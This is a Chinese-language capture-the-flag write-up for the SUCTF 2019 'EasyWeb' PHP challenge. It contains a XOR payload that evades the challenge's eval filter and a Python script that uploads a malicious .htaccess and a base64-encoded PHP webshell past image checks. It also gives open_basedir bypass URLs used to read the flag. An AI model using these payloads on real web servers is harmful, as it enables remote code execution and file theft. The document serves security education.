[SUCTF 2019]EasyWeb

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

直接看源码,注意到最后有一个eval函数,我们肯定是利用它,在看到上面有一个get_the_flag(),由此可以想到应该是通过eval函数调用get_the_flag(),那我们看如何绕过对eval($hhh)的限制,首先$hhh的参数长度不能大于18

注意:url接收参数时会进行url解码,他这里的长度限制检查的是经过url解码后的参数长度,比如我们提交一个参数 _=%80,字符串的长度确实为3,但是经过url解码后,会变成乱码,变为1个字符,这里我们找到了一个可能绕过的方式

再看第二个if语句

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

限制了我们输入的字符
在这里插入图片描述
那我们看看能用哪些字符,运行结果里没有出现的字符我们都不能用,没错,连英文字母都过滤了,再看看其他大佬的思路

其他大佬的思路是在构造一个新的$_GET[xx],xx的值可以摆脱那些过滤,因为那些过滤是针对题目固有的参数的(本地实测有效)

那么怎么构造这个GET呢,通过异或的方式来,直接看脚本

import string
ee= string.printable
print(ee);
a= map(lambda x:x.encode("hex"),list(ee))
_=[]
G=[]
E=[]
T=[]
print(list(ee))
for i in range(256):
    for j in range(256):
        if (chr(i) not in list(ee)) & (chr(j) not in list(ee)):
            tem = i^j
            if chr(tem)=="_":
                temp=[]
                temp.append(hex(i)[2:] + "^" + str(hex(j))[2:])
                _.append(temp)
            if chr(tem)=="G":
                temp=[]
                temp.append(hex(i)[2:] + "^" + str(hex(j))[2:])
                G.append(temp)
            if chr(tem)=="E":
                temp=[]
                temp.append(hex(i)[2:] + "^" + str(hex(j))[2:])
                E.append(temp)
            if chr(tem)=="T":
                temp=[]
                temp.append(hex(i)[2:] + "^" + str(hex(j))[2:])
                T.append(temp)
print(_)
print(G)
print(E)
print(T)

这里我们要通过异或得到那些浏览器不能解码为可见字符的字符串,还记得上面查看我们可输入字符时看到后面的乱码吗,这里利用的就是那些不可打印字符,一方面可以绕过限制,另一方面我们得到那些特殊字符(像!,#这些)也没有多大意义

注意这段代码
ee= string.printable

这里ee输出的是可打印字符,既然我们要得到不可打印的,那么下面一段代码意思就很明确了

if (chr(i) not in list(ee)) & (chr(j) not in list(ee)):

关于为什么要转成16进制,因一开始我觉得直接异或i和j的值,两个数字又没关系,后来,经过测试,每一组i和j的值经过url解码后都会多一个字符,而经过16进制转换后,在解码,我数了一下,payload正好是18个字符,这也太他么极限了

temp.append(hex(i)[2:] + "^" + str(hex(j))[2:])

直接看运行结果吧
在这里插入图片描述
发现有好多,下面分析一下payload

${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

1.这里我觉得有一个异或运算性质的问题,从上面的运行结果可以看出,得到的结果都是成对出现的,比如说%80^%df,_GET应该从结果中的4行各取一组得到payload,但是看其他大佬的博客是左边对应左边,右边对应右边的,个人觉得两者等价是异或运算的一种性质(这里是猜测,如果不对,请各位大佬指出)

2.关于为什么会有%,这里暂时认为和url解码的通用格式有关系,只有为%的时候,才会被处理成不可打印字符

3.为什么不用[ ],而用{ }。这里只能用],并没有相应的左括号和它对应,经过本地测试,看下图
在这里插入图片描述

<?php
$a = $_GET['a'];/*2.php*/
eval($a);
?>

发现类似命令是可以执行成功的,好像[ ]和{ }在某些情况下可以替换(好像哈,猜测),之后我又把{ }换成了( ),发现不能成功

4.最一开始我想为什么不直接&%80=phpinfo(),后来才反应过来新引入的参数是不能执行命令的,看下面的本地测试
在这里插入图片描述
在这里插入图片描述

接着开始第二步

import requests
import base64

url = "http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"


htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.cc"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)
print(r.text) 


files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

\x00\x00\x8a\x39\x8a\x39 /*用于绕过文件头*/
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.cc"

第一句的解释为将.cc后缀的文件作为php解析
第二句话的解释为
在这里插入图片描述
在这里插入图片描述

按理来说是可以直接连一个shell的,但是听说还有个什么open_basedir过滤
简单概括open_basedir就是规定哪些可以访问的目录,除了这些,其他都不能访问,下面是关于open_basedir的原理及绕过(太菜了,我看不懂,直接拿来用)

从PHP底层看open_basedir bypass

http://384c878b-e7d4-4f7e-a350-d5d27c076615.node3.buuoj.cn/upload/tmp_33c6f8457bd77fce0b109b4554e1a95c/shell.cc/?c=chdir('/tmp');mkdir('shell');chdir('shell');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));

在这里插入图片描述

http://384c878b-e7d4-4f7e-a350-d5d27c076615.node3.buuoj.cn/upload/tmp_33c6f8457bd77fce0b109b4554e1a95c/shell.cc/?c=chdir('/tmp');mkdir('shell');chdir('shell');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(THis_Is_tHe_F14g));

得到flag

参考链接

https://blog.csdn.net/weixin_44077544/article/details/102858790
https://blog.csdn.net/qq_42181428/article/details/99741920
https://www.jianshu.com/p/fbfeeb43ace2
发布了32 篇原创文章 · 获赞 0 · 访问量 1347

猜你喜欢

转载自blog.csdn.net/weixin_43940853/article/details/103749357